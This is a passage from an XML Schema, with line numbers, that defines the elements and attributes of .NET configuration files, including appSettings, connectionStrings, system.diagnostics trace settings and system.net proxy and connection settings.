96 <xs:attribute name="lockElements" type="xs:string" use="optional" />
97 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
98 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
99 </xs:complexType>
100 </xs:element>
101 <xs:element name="remove" vs:help="configuration/appSettings/remove">
102 <xs:complexType>
103 <xs:attribute name="key" type="xs:string" use="optional" />
104 </xs:complexType>
105 </xs:element>
106 <xs:element name="clear" vs:help="configuration/appSettings/clear">
107 <xs:complexType>
108 <!--tag is empty-->
109 </xs:complexType>
110 </xs:element>
111 </xs:choice>
112 <xs:attribute name="file" type="xs:string" use="optional" />
113 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
114 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
115 <xs:attribute name="lockElements" type="xs:string" use="optional" />
116 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
117 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
118 <xs:attribute name="configSource" type="xs:string" use="optional" />
119 </xs:complexType>
120 </xs:element>
121 <xs:element name="assemblyBinding" vs:help="configuration/assemblyBinding" />
122 <xs:element name="configProtectedData" vs:help="configuration/configProtectedData">
123 <xs:complexType>
124 <xs:choice minOccurs="0" maxOccurs="unbounded">
125 <xs:element name="providers" vs:help="configuration/configProtectedData/providers">
126 <xs:complexType>
127 <xs:choice minOccurs="0" maxOccurs="unbounded">
128 <xs:element name="add" vs:help="configuration/configProtectedData/providers/add">
129 <xs:complexType>
130 <xs:attribute name="name" type="xs:string" use="required" />
131 <xs:attribute name="type" type="xs:string" use="required" />
132 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
133 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
134 <xs:attribute name="lockElements" type="xs:string" use="optional" />
135 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
136 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
137 </xs:complexType>
138 </xs:element>
139 <xs:element name="remove" vs:help="configuration/configProtectedData/providers/remove">
140 <xs:complexType>
141 <xs:attribute name="name" type="xs:string" use="required" />
142 </xs:complexType>
143 </xs:element>
144 <xs:element name="clear" vs:help="configuration/configProtectedData/providers/clear">
145 <xs:complexType>
146 <!--tag is empty-->
147 </xs:complexType>
148 </xs:element>
149 </xs:choice>
150 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
151 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
152 <xs:attribute name="lockElements" type="xs:string" use="optional" />
153 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
154 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
155 </xs:complexType>
156 </xs:element>
157 </xs:choice>
158 <xs:attribute name="defaultProvider" type="xs:string" use="optional" />
159 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
160 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
161 <xs:attribute name="lockElements" type="xs:string" use="optional" />
162 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
163 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
164 <xs:attribute name="configSource" type="xs:string" use="optional" />
165 </xs:complexType>
166 </xs:element>
167 <xs:element name="connectionStrings" vs:help="configuration/connectionStrings">
168 <xs:complexType>
169 <xs:choice minOccurs="0" maxOccurs="unbounded">
170 <xs:element name="add" vs:help="configuration/connectionStrings/add">
171 <xs:complexType>
172 <xs:attribute name="connectionString" type="xs:string" use="required" />
173 <xs:attribute name="name" type="xs:string" use="required" />
174 <xs:attribute name="providerName" type="xs:string" use="optional" />
175 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
176 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
177 <xs:attribute name="lockElements" type="xs:string" use="optional" />
178 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
179 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
180 </xs:complexType>
181 </xs:element>
182 <xs:element name="remove" vs:help="configuration/connectionStrings/remove">
183 <xs:complexType>
184 <xs:attribute name="name" type="xs:string" use="required" />
185 </xs:complexType>
186 </xs:element>
187 <xs:element name="clear" vs:help="configuration/connectionStrings/clear">
188 <xs:complexType>
189 <!--tag is empty-->
190 </xs:complexType>
191 </xs:element>
192 </xs:choice>
193 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
194 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
195 <xs:attribute name="lockElements" type="xs:string" use="optional" />
196 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
197 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
198 <xs:attribute name="configSource" type="xs:string" use="optional" />
199 </xs:complexType>
200 </xs:element>
201 <xs:element name="mscorlib" vs:help="configuration/mscorlib" />
202 <xs:element name="runtime" vs:help="configuration/runtime">
203 <xs:complexType>
204 <xs:choice minOccurs="0" maxOccurs="unbounded">
205 <xs:any namespace="##any" processContents="skip" />
206 </xs:choice>
207 <xs:anyAttribute processContents="skip" />
208 </xs:complexType>
209 </xs:element>
210 <xs:element name="satelliteassemblies" vs:help="configuration/satelliteassemblies" />
211 <xs:element name="startup" vs:help="configuration/startup" />
212 <xs:element name="system.codedom" vs:help="configuration/system.codedom" />
213 <xs:element name="system.data" vs:help="configuration/system.data">
214 <xs:complexType>
215 <xs:choice minOccurs="0" maxOccurs="unbounded">
216 <xs:any namespace="##any" processContents="skip" />
217 </xs:choice>
218 </xs:complexType>
219 </xs:element>
220 <xs:element name="system.data.dataset" vs:help="configuration/system.data.dataset" />
221 <xs:element name="system.data.odbc" vs:help="configuration/system.data.odbc" />
222 <xs:element name="system.data.oledb" vs:help="configuration/system.data.oledb" />
223 <xs:element name="system.data.oracleclient" vs:help="configuration/system.data.oracleclient" />
224 <xs:element name="system.data.sqlclient" vs:help="configuration/system.data.sqlclient" />
225 <xs:element name="system.diagnostics" vs:help="configuration/system.diagnostics">
226 <xs:complexType>
227 <xs:choice minOccurs="0" maxOccurs="unbounded">
228 <xs:element name="assert" vs:help="configuration/system.diagnostics/assert">
229 <xs:complexType>
230 <xs:attribute name="assertuienabled" type="small_boolean_Type" use="optional" />
231 <xs:attribute name="logfilename" type="xs:string" use="optional" />
232 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
233 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
234 <xs:attribute name="lockElements" type="xs:string" use="optional" />
235 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
236 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
237 </xs:complexType>
238 </xs:element>
239 <xs:element name="performanceCounters" vs:help="configuration/system.diagnostics/performanceCounters">
240 <xs:complexType>
241 <xs:attribute name="filemappingsize" type="xs:int" use="optional" />
242 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
243 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
244 <xs:attribute name="lockElements" type="xs:string" use="optional" />
245 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
246 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
247 </xs:complexType>
248 </xs:element>
249 <xs:element name="sharedListeners" vs:help="configuration/system.diagnostics/sharedListeners">
250 <xs:complexType>
251 <xs:choice minOccurs="0" maxOccurs="unbounded">
252 <xs:element name="add" vs:help="configuration/system.diagnostics/sharedListeners/add">
253 <xs:complexType>
254 <xs:choice minOccurs="0" maxOccurs="unbounded">
255 <xs:element name="filter" vs:help="configuration/system.diagnostics/sharedListeners/ListenerElement/filter">
256 <xs:complexType>
257 <xs:attribute name="initializeData" type="xs:string" use="optional" />
258 <xs:attribute name="type" type="xs:string" use="required" />
259 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
260 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
261 <xs:attribute name="lockElements" type="xs:string" use="optional" />
262 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
263 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
264 </xs:complexType>
265 </xs:element>
266 </xs:choice>
267 <xs:attribute name="name" type="xs:string" use="required" />
268 <xs:attribute name="traceOutputOptions" use="optional">
269 <xs:simpleType>
270 <xs:restriction base="xs:NMTOKEN">
271 <xs:enumeration value="Callstack" />
272 <xs:enumeration value="DateTime" />
273 <xs:enumeration value="LogicalOperationStack" />
274 <xs:enumeration value="None" />
275 <xs:enumeration value="ProcessId" />
276 <xs:enumeration value="ThreadId" />
277 <xs:enumeration value="Timestamp" />
278 </xs:restriction>
279 </xs:simpleType>
280 </xs:attribute>
281 <xs:attribute name="initializeData" type="xs:string" use="optional" />
282 <xs:attribute name="type" type="xs:string" use="optional" />
283 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
284 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
285 <xs:attribute name="lockElements" type="xs:string" use="optional" />
286 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
287 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
288 </xs:complexType>
289 </xs:element>
290 <xs:element name="remove" vs:help="configuration/system.diagnostics/sharedListeners/remove">
291 <xs:complexType>
292 <xs:choice minOccurs="0" maxOccurs="unbounded">
293 <xs:element name="filter" vs:help="configuration/system.diagnostics/sharedListeners/ListenerElement/filter">
294 <xs:complexType>
295 <xs:attribute name="initializeData" type="xs:string" use="optional" />
296 <xs:attribute name="type" type="xs:string" use="required" />
297 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
298 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
299 <xs:attribute name="lockElements" type="xs:string" use="optional" />
300 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
301 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
302 </xs:complexType>
303 </xs:element>
304 </xs:choice>
305 <xs:attribute name="name" type="xs:string" use="required" />
306 </xs:complexType>
307 </xs:element>
308 </xs:choice>
309 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
310 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
311 <xs:attribute name="lockElements" type="xs:string" use="optional" />
312 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
313 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
314 </xs:complexType>
315 </xs:element>
316 <xs:element name="sources" vs:help="configuration/system.diagnostics/sources">
317 <xs:complexType>
318 <xs:choice minOccurs="0" maxOccurs="unbounded">
319 <xs:element name="source" vs:help="configuration/system.diagnostics/sources/source">
320 <xs:complexType>
321 <xs:choice minOccurs="0" maxOccurs="unbounded">
322 <xs:element name="listeners" vs:help="configuration/system.diagnostics/sources/SourceElement/listeners">
323 <xs:complexType>
324 <xs:choice minOccurs="0" maxOccurs="unbounded">
325 <xs:element name="add" vs:help="configuration/system.diagnostics/sources/SourceElement/listeners/add">
326 <xs:complexType>
327 <xs:choice minOccurs="0" maxOccurs="unbounded">
328 <xs:element name="filter" vs:help="configuration/system.diagnostics/sources/SourceElement/listeners/ListenerElement/filter">
329 <xs:complexType>
330 <xs:attribute name="initializeData" type="xs:string" use="optional" />
331 <xs:attribute name="type" type="xs:string" use="required" />
332 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
333 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
334 <xs:attribute name="lockElements" type="xs:string" use="optional" />
335 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
336 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
337 </xs:complexType>
338 </xs:element>
339 </xs:choice>
340 <xs:attribute name="name" type="xs:string" use="required" />
341 <xs:attribute name="traceOutputOptions" use="optional">
342 <xs:simpleType>
343 <xs:restriction base="xs:NMTOKEN">
344 <xs:enumeration value="Callstack" />
345 <xs:enumeration value="DateTime" />
346 <xs:enumeration value="LogicalOperationStack" />
347 <xs:enumeration value="None" />
348 <xs:enumeration value="ProcessId" />
349 <xs:enumeration value="ThreadId" />
350 <xs:enumeration value="Timestamp" />
351 </xs:restriction>
352 </xs:simpleType>
353 </xs:attribute>
354 <xs:attribute name="initializeData" type="xs:string" use="optional" />
355 <xs:attribute name="type" type="xs:string" use="optional" />
356 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
357 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
358 <xs:attribute name="lockElements" type="xs:string" use="optional" />
359 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
360 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
361 </xs:complexType>
362 </xs:element>
363 <xs:element name="remove" vs:help="configuration/system.diagnostics/sources/SourceElement/listeners/remove">
364 <xs:complexType>
365 <xs:choice minOccurs="0" maxOccurs="unbounded">
366 <xs:element name="filter" vs:help="configuration/system.diagnostics/sources/SourceElement/listeners/ListenerElement/filter">
367 <xs:complexType>
368 <xs:attribute name="initializeData" type="xs:string" use="optional" />
369 <xs:attribute name="type" type="xs:string" use="optional" />
370 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
371 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
372 <xs:attribute name="lockElements" type="xs:string" use="optional" />
373 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
374 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
375 </xs:complexType>
376 </xs:element>
377 </xs:choice>
378 <xs:attribute name="name" type="xs:string" use="required" />
379 </xs:complexType>
380 </xs:element>
381 </xs:choice>
382 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
383 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
384 <xs:attribute name="lockElements" type="xs:string" use="optional" />
385 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
386 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
387 </xs:complexType>
388 </xs:element>
389 </xs:choice>
390 <xs:attribute name="name" type="xs:string" use="required" />
391 <xs:attribute name="switchName" type="xs:string" use="optional" />
392 <xs:attribute name="switchType" type="xs:string" use="optional" />
393 <xs:attribute name="switchValue" type="xs:string" use="optional" />
394 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
395 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
396 <xs:attribute name="lockElements" type="xs:string" use="optional" />
397 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
398 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
399 </xs:complexType>
400 </xs:element>
401 </xs:choice>
402 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
403 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
404 <xs:attribute name="lockElements" type="xs:string" use="optional" />
405 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
406 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
407 </xs:complexType>
408 </xs:element>
409 <xs:element name="switches" vs:help="configuration/system.diagnostics/switches">
410 <xs:complexType>
411 <xs:choice minOccurs="0" maxOccurs="unbounded">
412 <xs:element name="add" vs:help="configuration/system.diagnostics/switches/add">
413 <xs:complexType>
414 <xs:attribute name="name" type="xs:string" use="required" />
415 <xs:attribute name="value" type="xs:string" use="required" />
416 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
417 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
418 <xs:attribute name="lockElements" type="xs:string" use="optional" />
419 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
420 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
421 </xs:complexType>
422 </xs:element>
423 <xs:element name="remove" vs:help="configuration/system.diagnostics/switches/remove">
424 <xs:complexType>
425 <xs:attribute name="name" type="xs:string" use="required" />
426 </xs:complexType>
427 </xs:element>
428 <xs:element name="clear" vs:help="configuration/system.diagnostics/switches/clear">
429 <xs:complexType>
430 <!--tag is empty-->
431 </xs:complexType>
432 </xs:element>
433 </xs:choice>
434 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
435 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
436 <xs:attribute name="lockElements" type="xs:string" use="optional" />
437 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
438 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
439 </xs:complexType>
440 </xs:element>
441 <xs:element name="trace" vs:help="configuration/system.diagnostics/trace">
442 <xs:complexType>
443 <xs:choice minOccurs="0" maxOccurs="unbounded">
444 <xs:element name="listeners" vs:help="configuration/system.diagnostics/trace/listeners">
445 <xs:complexType>
446 <xs:choice minOccurs="0" maxOccurs="unbounded">
447 <xs:element name="add" vs:help="configuration/system.diagnostics/trace/listeners/add">
448 <xs:complexType>
449 <xs:choice minOccurs="0" maxOccurs="unbounded">
450 <xs:element name="filter" vs:help="configuration/system.diagnostics/trace/listeners/ListenerElement/filter">
451 <xs:complexType>
452 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
453 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
454 <xs:attribute name="lockElements" type="xs:string" use="optional" />
455 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
456 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
457 </xs:complexType>
458 </xs:element>
459 </xs:choice>
460 <xs:attribute name="name" type="xs:string" use="required" />
461 <xs:attribute name="traceOutputOptions" use="optional">
462 <xs:simpleType>
463 <xs:restriction base="xs:NMTOKEN">
464 <xs:enumeration value="Callstack" />
465 <xs:enumeration value="DateTime" />
466 <xs:enumeration value="LogicalOperationStack" />
467 <xs:enumeration value="None" />
468 <xs:enumeration value="ProcessId" />
469 <xs:enumeration value="ThreadId" />
470 <xs:enumeration value="Timestamp" />
471 </xs:restriction>
472 </xs:simpleType>
473 </xs:attribute>
474 <xs:attribute name="initializeData" type="xs:string" use="optional" />
475 <xs:attribute name="type" type="xs:string" use="optional" />
476 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
477 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
478 <xs:attribute name="lockElements" type="xs:string" use="optional" />
479 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
480 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
481 </xs:complexType>
482 </xs:element>
483 <xs:element name="remove" vs:help="configuration/system.diagnostics/trace/listeners/remove">
484 <xs:complexType>
485 <xs:choice minOccurs="0" maxOccurs="unbounded">
486 <xs:element name="filter" vs:help="configuration/system.diagnostics/trace/listeners/ListenerElement/filter">
487 <xs:complexType>
488 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
489 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
490 <xs:attribute name="lockElements" type="xs:string" use="optional" />
491 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
492 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
493 </xs:complexType>
494 </xs:element>
495 </xs:choice>
496 <xs:attribute name="name" type="xs:string" use="required" />
497 </xs:complexType>
498 </xs:element>
499 <xs:element name="clear" vs:help="configuration/system.diagnostics/trace/listeners/clear">
500 <xs:complexType>
501 <!--tag is empty-->
502 </xs:complexType>
503 </xs:element>
504 </xs:choice>
505 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
506 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
507 <xs:attribute name="lockElements" type="xs:string" use="optional" />
508 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
509 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
510 </xs:complexType>
511 </xs:element>
512 </xs:choice>
513 <xs:attribute name="autoflush" type="small_boolean_Type" use="optional" />
514 <xs:attribute name="indentsize" type="xs:int" use="optional" />
515 <xs:attribute name="useGlobalLock" type="small_boolean_Type" use="optional" />
516 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
517 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
518 <xs:attribute name="lockElements" type="xs:string" use="optional" />
519 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
520 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
521 </xs:complexType>
522 </xs:element>
523 </xs:choice>
524 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
525 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
526 <xs:attribute name="lockElements" type="xs:string" use="optional" />
527 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
528 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
529 <xs:attribute name="configSource" type="xs:string" use="optional" />
530 </xs:complexType>
531 </xs:element>
532 <xs:element name="system.runtime.remoting" vs:help="configuration/system.runtime.remoting" />
533 <xs:element name="system.webServer" vs:help="configuration/system.webServer" />
534 <xs:element name="system.windows.forms" vs:help="configuration/system.windows.forms">
535 <xs:complexType>
536 <xs:attribute name="jitDebugging" type="small_boolean_Type" use="optional" />
537 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
538 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
539 <xs:attribute name="lockElements" type="xs:string" use="optional" />
540 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
541 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
542 <xs:attribute name="configSource" type="xs:string" use="optional" />
543 </xs:complexType>
544 </xs:element>
545 <xs:element name="windows" vs:help="configuration/windows" />
546 <xs:element name="system.net" vs:help="configuration/system.net">
547 <xs:complexType>
548 <xs:choice minOccurs="0" maxOccurs="unbounded">
549 <xs:element name="authenticationModules" vs:help="configuration/system.net/authenticationModules">
550 <xs:complexType>
551 <xs:choice minOccurs="0" maxOccurs="unbounded">
552 <xs:element name="add" vs:help="configuration/system.net/authenticationModules/add">
553 <xs:complexType>
554 <xs:attribute name="type" type="xs:string" use="required" />
555 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
556 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
557 <xs:attribute name="lockElements" type="xs:string" use="optional" />
558 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
559 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
560 </xs:complexType>
561 </xs:element>
562 <xs:element name="remove" vs:help="configuration/system.net/authenticationModules/remove">
563 <xs:complexType>
564 <xs:attribute name="type" type="xs:string" use="required" />
565 </xs:complexType>
566 </xs:element>
567 <xs:element name="clear" vs:help="configuration/system.net/authenticationModules/clear">
568 <xs:complexType>
569 <!--tag is empty-->
570 </xs:complexType>
571 </xs:element>
572 </xs:choice>
573 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
574 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
575 <xs:attribute name="lockElements" type="xs:string" use="optional" />
576 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
577 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
578 <xs:attribute name="configSource" type="xs:string" use="optional" />
579 </xs:complexType>
580 </xs:element>
581 <xs:element name="connectionManagement" vs:help="configuration/system.net/connectionManagement">
582 <xs:complexType>
583 <xs:choice minOccurs="0" maxOccurs="unbounded">
584 <xs:element name="add" vs:help="configuration/system.net/connectionManagement/add">
585 <xs:complexType>
586 <xs:attribute name="address" type="xs:string" use="required" />
587 <xs:attribute name="maxconnection" type="xs:int" use="required" />
588 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
589 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
590 <xs:attribute name="lockElements" type="xs:string" use="optional" />
591 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
592 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
593 </xs:complexType>
594 </xs:element>
595 <xs:element name="remove" vs:help="configuration/system.net/connectionManagement/remove">
596 <xs:complexType>
597 <xs:attribute name="address" type="xs:string" use="required" />
598 </xs:complexType>
599 </xs:element>
600 <xs:element name="clear" vs:help="configuration/system.net/connectionManagement/clear">
601 <xs:complexType>
602 <!--tag is empty-->
603 </xs:complexType>
604 </xs:element>
605 </xs:choice>
606 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
607 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
608 <xs:attribute name="lockElements" type="xs:string" use="optional" />
609 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
610 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
611 <xs:attribute name="configSource" type="xs:string" use="optional" />
612 </xs:complexType>
613 </xs:element>
614 <xs:element name="defaultProxy" vs:help="configuration/system.net/defaultProxy">
615 <xs:complexType>
616 <xs:choice minOccurs="0" maxOccurs="unbounded">
617 <xs:element name="bypasslist" vs:help="configuration/system.net/defaultProxy/bypasslist">
618 <xs:complexType>
619 <xs:choice minOccurs="0" maxOccurs="unbounded">
620 <xs:element name="add" vs:help="configuration/system.net/defaultProxy/bypasslist/add">
621 <xs:complexType>
622 <xs:attribute name="address" type="xs:string" use="required" />
623 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
624 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
625 <xs:attribute name="lockElements" type="xs:string" use="optional" />
626 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
627 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
628 </xs:complexType>
629 </xs:element>
630 <xs:element name="remove" vs:help="configuration/system.net/defaultProxy/bypasslist/remove">
631 <xs:complexType>
632 <xs:attribute name="address" type="xs:string" use="required" />
633 </xs:complexType>
634 </xs:element>
635 <xs:element name="clear" vs:help="configuration/system.net/defaultProxy/bypasslist/clear">
636 <xs:complexType>
637 <!--tag is empty-->
638 </xs:complexType>
639 </xs:element>
640 </xs:choice>
641 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
642 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
643 <xs:attribute name="lockElements" type="xs:string" use="optional" />
644 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
645 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
646 </xs:complexType>
647 </xs:element>
648 <xs:element name="module" vs:help="configuration/system.net/defaultProxy/module">
649 <xs:complexType>
650 <xs:attribute name="type" type="xs:string" use="optional" />
651 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
652 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
653 <xs:attribute name="lockElements" type="xs:string" use="optional" />
654 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
655 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
656 </xs:complexType>
657 </xs:element>
658 <xs:element name="proxy" vs:help="configuration/system.net/defaultProxy/proxy">
659 <xs:complexType>
660 <xs:attribute name="autoDetect" use="optional">
661 <xs:simpleType>
662 <xs:restriction base="xs:NMTOKEN">
663 <xs:enumeration value="False" />
664 <xs:enumeration value="True" />
665 <xs:enumeration value="Unspecified" />
666 </xs:restriction>
667 </xs:simpleType>
668 </xs:attribute>
669 <xs:attribute name="bypassonlocal" use="optional">
670 <xs:simpleType>
671 <xs:restriction base="xs:NMTOKEN">
672 <xs:enumeration value="False" />
673 <xs:enumeration value="True" />
674 <xs:enumeration value="Unspecified" />
675 </xs:restriction>
676 </xs:simpleType>
677 </xs:attribute>
678 <xs:attribute name="proxyaddress" type="xs:string" use="optional" />
679 <xs:attribute name="scriptLocation" type="xs:string" use="optional" />
680 <xs:attribute name="usesystemdefault" use="optional">
681 <xs:simpleType>
682 <xs:restriction base="xs:NMTOKEN">
683 <xs:enumeration value="False" />
684 <xs:enumeration value="True" />
685 <xs:enumeration value="Unspecified" />
686 </xs:restriction>
687 </xs:simpleType>
688 </xs:attribute>
689 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
690 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
691 <xs:attribute name="lockElements" type="xs:string" use="optional" />
692 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
693 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
694 </xs:complexType>
695 </xs:element>
696 </xs:choice>
697 <xs:attribute name="enabled" type="small_boolean_Type" use="optional" />
698 <xs:attribute name="useDefaultCredentials" type="small_boolean_Type" use="optional" />
699 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
700 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
701 <xs:attribute name="lockElements" type="xs:string" use="optional" />
702 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
703 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
704 <xs:attribute name="configSource" type="xs:string" use="optional" />
705 </xs:complexType>
706 </xs:element>
707 <xs:element name="requestCaching" vs:help="configuration/system.net/requestCaching">
708 <xs:complexType>
709 <xs:choice minOccurs="0" maxOccurs="unbounded">
710 <xs:element name="defaultFtpCachePolicy" vs:help="configuration/system.net/requestCaching/defaultFtpCachePolicy">
711 <xs:complexType>
712 <xs:attribute name="policyLevel" use="optional">
713 <xs:simpleType>
714 <xs:restriction base="xs:NMTOKEN">
715 <xs:enumeration value="BypassCache" />
716 <xs:enumeration value="CacheIfAvailable" />
717 <xs:enumeration value="CacheOnly" />
718 <xs:enumeration value="Default" />
719 <xs:enumeration value="NoCacheNoStore" />
720 <xs:enumeration value="Reload" />
721 <xs:enumeration value="Revalidate" />
722 </xs:restriction>
723 </xs:simpleType>
724 </xs:attribute>
725 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
726 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
